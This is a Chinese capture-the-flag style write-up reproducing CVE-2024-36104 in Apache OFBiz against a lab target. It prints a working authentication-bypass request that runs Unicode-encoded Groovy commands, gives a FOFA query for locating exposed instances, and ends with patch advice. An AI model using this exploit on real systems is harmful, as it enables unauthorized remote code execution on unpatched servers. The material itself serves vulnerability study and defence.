Featured image of post 【春秋云境】CVE-2024-36104复现

【春秋云境】CVE-2024-36104复现

文章共1057字

靶标介绍:

Apache OFBiz 目录遍历致代码执行漏洞,攻击者可构造恶意请求控制服务器。
该平台存在路径遍历漏洞,其成因是未对用户输入的 contextPath 参数进行充分验证。这使得未授权的攻击者能够通过精心构造的恶意请求绕过认证机制,进而访问系统中本应受保护的敏感接口,最终可能引发任意代码执行的严重后果。

漏洞影响版本

  • 受影响版本​​:Apache OFBiz < 18.12.14
  • ​FOFA搜索语法​​:app="Apache_OFBiz"

危害

  • 未授权访问:攻击者无需认证,通过构造恶意请求,可绕过验证机制,访问本应受限的敏感接口,进而获取系统中敏感信息,如用户数据、商业机密等,严重威胁数据的保密性。
  • 远程代码执行:漏洞允许攻击者利用/webtools/control/ProgramExport接口的编程导出功能,执行任意 Groovy 代码,从而实现远程代码执行,完全控制受影响的系统,可进行数据篡改、删除、植入恶意软件等操作,对系统的完整性和可用性造成极大破坏。
  • 权限提升:攻击者可借此漏洞从低权限用户提升至高权限用户,进而执行更广泛的系统操作,对整个系统的安全构成严重威胁。
  • 中间人攻击风险:攻击者可利用该漏洞篡改系统返回给合法用户的响应内容,实施中间人攻击,进一步获取用户敏感信息或向用户传播恶意内容。
  • 大规模攻击风险:由于 Apache OFBiz 在电子商务领域的广泛应用,该漏洞的存在使得大量系统面临被攻击的风险,一旦被大规模利用,可能导致众多企业及用户的业务中断、数据泄露等严重后果,影响范围广泛。

复现

访问:

1
https://39.106.48.123:31276/

image.png

1
正确路径应该加上/accounting/control/main

image.png
这里显示你的ip为被加入到配置文件的相关允许配置参数中,所以显示了500,但是不影响后面操作,直接通过poc拿下。
可以看到一个 ERROR MESSAGE,出现报错,因为是非本地 localhost 启动,Headers 需要包含 Host: localhost,所以把 Host 改为:localhost:port

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Host: localhost:31276
Cookie: OFBiz.Visitor=10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 262

groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u0069\u0064\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B

得到 id 为 root,说明执行成功
image.png
这里执行的远程命令是throw new Exception('cat /flag'.execute().text);用于获取flag
同样的 Unicode 编码

1
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

image.png
image.png

1
flag{c95e8bc5-409e-40c9-bd82-b7234b2987fe}

修复建议

  1. 官方补丁​​:升级至Apache OFBiz 18.12.14或更高版本
  2. ​临时缓解措施​​:
    • 禁用webtools模块的非必要接口。
    • 配置Web应用防火墙(WAF)拦截包含%2e;的恶意请求。
  3. ​输入过滤​​:对groovyProgram参数实施白名单校验,禁止异常字符。
站点已运行计算中...